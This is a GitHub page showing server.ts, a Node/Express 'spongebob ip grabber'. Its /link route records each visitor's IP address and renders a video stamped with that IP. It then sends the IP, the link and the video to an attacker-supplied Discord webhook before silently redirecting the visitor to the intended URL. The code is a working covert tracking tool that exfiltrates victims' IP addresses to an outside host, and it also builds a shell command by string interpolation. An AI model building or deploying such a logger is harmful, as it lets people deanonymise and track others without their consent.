-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathserver.ts
93 lines (76 loc) · 3.38 KB
/
server.ts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
import { exec } from "child_process";
import cors from "cors";
import dotenv from "dotenv";
import express from "express";
import FormData from "form-data";
import { createReadStream, readdirSync, rm } from "fs";
import { nanoid } from "nanoid";
import { dirname, join as joinPath } from "path";
dotenv.config();
const IPv4 =
/^(\b25[0-5]|\b2[0-4][0-9]|\b[01]?[0-9][0-9]?)(\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)){3}$/,
IPv6 =
/^(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))$/;
const PROD = process.env.NODE_ENV === "production",
DIRNAME = PROD ? dirname(process.execPath) : __dirname,
images = readdirSync(joinPath(DIRNAME, "clips")).filter(img =>
/^sp-\d+\.png$/.test(img)
),
getRandomImg = () =>
joinPath(
DIRNAME,
"clips",
images[Math.floor(Math.random() * images.length)]
);
console.log(images);
const PORT = process.env.PORT || 8000,
app = express();
app.use(cors());
app.use(express.static(joinPath(__dirname, "public")));
app.get("/link", (req, res) => {
let ip = (req.headers["x-forwarded-for"] ||
req.socket.remoteAddress) as string;
if (ip.startsWith("::ffff:")) ip = ip.substring(7);
// avoid some funny request forgery business
if (!(IPv4.test(ip) || IPv6.test(ip)))
return void (
console.log(`invalid ip: ${ip}`)! ||
res.status(400).send("Invalid IP")
);
const { url, wh } = req.query;
if (!(url && wh))
return void res.send(
'invalid parameters: generate a link <a href="/">here</a>'
);
const out = joinPath(DIRNAME, nanoid(5) + ".mp4"),
img = getRandomImg();
console.log(`request received: ${img} ${ip} ${out}`);
// render video
const p = exec(
`python3 ${joinPath(DIRNAME, "video.py")} "${img}" "${ip}" "${out}"`,
{ cwd: DIRNAME },
(err, stdout, stderr) => {
if (err) {
console.error(err);
return;
}
console.log(`rendered file ${out}`);
console.log("stdout: " + stdout);
// send to discord
const form = new FormData();
form.append("username", "spongebob ip grabber");
form.append("avatar_url", "https://i.imgur.com/duzZ00c.png");
form.append("content", `\`${ip}\`\n<${url}>`);
form.append("file", createReadStream(out));
form.submit(wh as string, () => {
// delete video after submitting
// I'm not worried about caching the video because the browser caches the redirect response anyways
rm(out, () => {});
});
}
);
res.redirect(301, url as string);
});
app.listen(PORT, () => {
console.log(`server online: ${PORT}`);
});